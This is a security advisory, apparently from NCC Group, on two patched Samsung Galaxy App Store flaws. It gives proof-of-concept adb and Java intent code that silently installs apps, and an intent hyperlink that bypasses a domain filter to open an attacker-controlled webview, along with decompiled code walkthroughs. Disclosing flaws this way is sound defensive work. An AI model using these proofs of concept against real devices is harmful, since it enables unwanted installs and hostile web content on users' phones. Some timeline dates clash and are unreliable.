The Galaxy App Store is an alternative application store that comes pre-installed on Samsung Android devices. Several Android applications are available on both the Galaxy App Store and Google App Store, and users have the option to use either store to install specific applications.
Two vulnerabilities were uncovered with the Galaxy App Store application:
Technical Advisories
Improper access control could allow local attackers to install applications from the Galaxy App Store (CVE-2023-21433)
Vendor: Samsung Vendor URL: https://www.samsung.com Versions Affected: 4.5.44.1, other versions might be affected Systems Affected: Galaxy App Store Android Application (com.sec.android.app.samsungapps) CVE Identifier: CVE-2023-21433
Summary
It was found that the Galaxy App Store has an exported activity which does not handle incoming intents in a safe manner. This allows other applications installed on the same Samsung device to automatically install any application available on the Galaxy App Store without the user’s knowledge.
It should be noted that due to the changes made to Android 13, this issue only affects Samsung devices that are running Android 12 and below.
Impact
A pre-installed rouge application on a Samsung device running Android 12 or below can abuse this issue to install any application currently available on the Galaxy App Store.
Proof of Concept (PoC)
The following adb
command can be used to abuse this issue to automatically install the application “Pokemon Go”:
am start -n com.sec.android.app.samsungapps/.detail.alleypopup.AlleyDetailActivity --es GUID com.nianticlabs.pokemongo.ares --ez directInstall true --ez directOpen true
Alternatively, the following Java code can be used to perform the same action:
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.sec.android.app.samsungapps", "com.sec.android.app.samsungapps.detail.alleypopup.AlleyDetailActivity"));
intent.putExtra("GUID", "com.nianticlabs.pokemongo.ares");
intent.putExtra("directInstall", true);
intent.putExtra("directOpen", true);
startActivity(intent);
Technical Walkthrough
After executing the PoC, the activity com.sec.android.app.samsungapps.detail.alleypopup.AlleyDetailActivity
method onCreate(bundle)
processes the incoming intent. As a part of this function, one of two methods will be executed depending on if the incoming intent contained a data
property:
public class AlleyDetailActivity {
...
public void onCreate(Bundle bundle) {
...
Intent intent = getIntent();
Uri data = intent.getData();
...
if (data == null) {
a(intent);
} else {
e();
}
...
}
The PoC did not add a data property to the new intent, so the method a(intent)
gets executed, while passing the calling intent as an argument. Within a(intent)
, the intent and its extras are passed to class com.sec.android.app.samsungapps.detail.alleypopup.AlleyBundleContainer
method parseValues(bundle, intent)
:
public class AlleyDetailActivity {
...
public void a(Intent intent) {
...
Bundle extras = intent.getExtras();
AlleyBundleContainer bundleContainer = getBundleContainer();
...
if (extras != null) {
this.f = bundleContainer.parseValues(extras, intent);
}
...
}
The method parseValues(bundle, intent)
parses the intent extras and adds them to a Content
object. Some of the important values include:
public class AlleyBundleContainer {
...
public ContentDetailContainer parseValues(Bundle bundle, Intent intent) {
Content content = new Content();
String string = bundle.getString(“GUID”);
content.setGUID(string);
...
this.g = bundle.getBoolean(“directInstall”, false)
this.h = bundle.getBoolean(“directOpen”, false)
...
return content;
}
Later, since directInstall
is set to true
, the application will execute the method J()
within the AlleyDetailActivity
class. This method will then execute the method b(AlleyDetailActivity)
within the class com.sec.android.app.samsungapps.detail.alleypopup.b
:
public class AlleyDetailActivity {
...
public void J() {
...
if (this.d == Constant_todo.AppType.APP_NOT_INSTALLED || this.d == Constant_todo.AppType.APP_UPDATABLE) {
b.b(this);
}
}
The method b(AlleyDetailActivity)
will then setup a task to download and install the target application which was previously specified by the incoming intent. After the application is installed, since “directOpen” was set to “True”, the Galaxy App Store application will open the newly installed application.
Recommendation
For Samsung devices running Android 12 or lower, Samsung has released an updated version of the Galaxy App Store (version 4.5.49.8). Users should open the Galaxy App Store on their phone, and if prompted, download and install the latest version.
This issue does not affect devices running Android 13. Users should still update their Galaxy App Store to the latest version to address potentially other issues.
Disclosure Timeline
November 23, 2022: Samsung notified of vulnerability November 23, 2022: Samsung acknowledged receipt of report and a security analyst was assigned to analyze the report December 11, 2023: Samsung confirmed the vulnerability and rated it as a High risk January 1, 2023: Samsung has released Galaxy App Store version 4.5.49.8 and has publicly disclosed the issue
Improper input validation could allow local attackers to execute JavaScript by launching a web page (CVE-2023-21434)
Vendor: Samsung Vendor URL: https://www.samsung.com Versions Affected: 4.5.48.3, other versions might be affected Systems Affected: Galaxy App Store Android Application (com.sec.android.app.samsungapps) CVE Identifier: CVE-2023-21434
Summary
It was found that a webview within the Galaxy App Store contained a filter which limited which domains that webview could browse to. However, the filter was not properly configured, which would allow the webview to browse to an attacker controlled domain.
Impact
Either tapping a malicious hyperlink in Google Chrome or a pre-installed rogue application on a Samsung device can bypass Samsung’s URL filter and launch a webview to an attacker controlled domain.
Proof of Concept (PoC)
While using the Chrome web browser on a Samsung device, the following hyperlink can be tapped to exploit this issue:
<h1>
<a id="yayidyay" rel="noreferrer" href="intent://cloudgame/monitor?monitoringHost=<host>#Intent;action=android.intent.action.VIEW;package=com.sec.android.app.samsungapps;scheme=normalbetasamsungapps;S.android%2eintent%2eextra%2eREFERRER_NAME=http://com.sec.android.app.samsungapps;end">
YAYPOCYAY</a>
</h1>
In the above PoC, “<host>” needs to be replaced with an attacker controlled domain, and a malicious website must be hosted on the domain over HTTPS. The domain name must have “player.glb.samsung-gamelauncher.com” in it. For example, the domain “player.glb.samsung-gamelauncher.com.nccgroup.com” would be a valid domain.
Technical Walkthrough
After launching the above PoC, the class com.sec.android.app.samsungapps.deeplink.CloudGameDeepLink
is loaded, and the method e(context)
is executed. This method determines if the Cloud Game deeplink should be executed, and the requirements to return “True” are:
android.intent.extra.REFERRER_NAME
in a browsable intent, and launched from the Google Chrome browserprivate boolean e(Context context) {
if (context.getPackageName().equals(getSender())) {
return this.L.getMonitoringHost().contains("player.glb.samsung-gamelauncher.com");
}
Loger.w(String.format("[%s] Unauthorized access from %s", M, getSender()));
return false;
}
An attacker can register an arbitrary domain and add “player.glb.samsung-gamelauncher.com” as a subdomain. For example, the domain “player.glb.samsung-gamelauncher.com.nccgroup.com” would force the method “e(context)” to return “True”
Recommendation
Samsung has released an updated version of the Galaxy App Store (version 4.5.49.8). Users should open the Galaxy App Store on their phone, and if prompted, download and install the latest version.
Disclosure Timeline
December 3, 2022: Samsung notified of vulnerability December 3, 2022: Samsung acknowledged receipt of report and a security analyst was assigned to analyze the report December 18, 2023: Samsung confirmed the vulnerability and rated it as a Moderate risk January 1, 2023: Samsung has released Galaxy App Store version 4.5.49.8 and has publicly disclosed the issue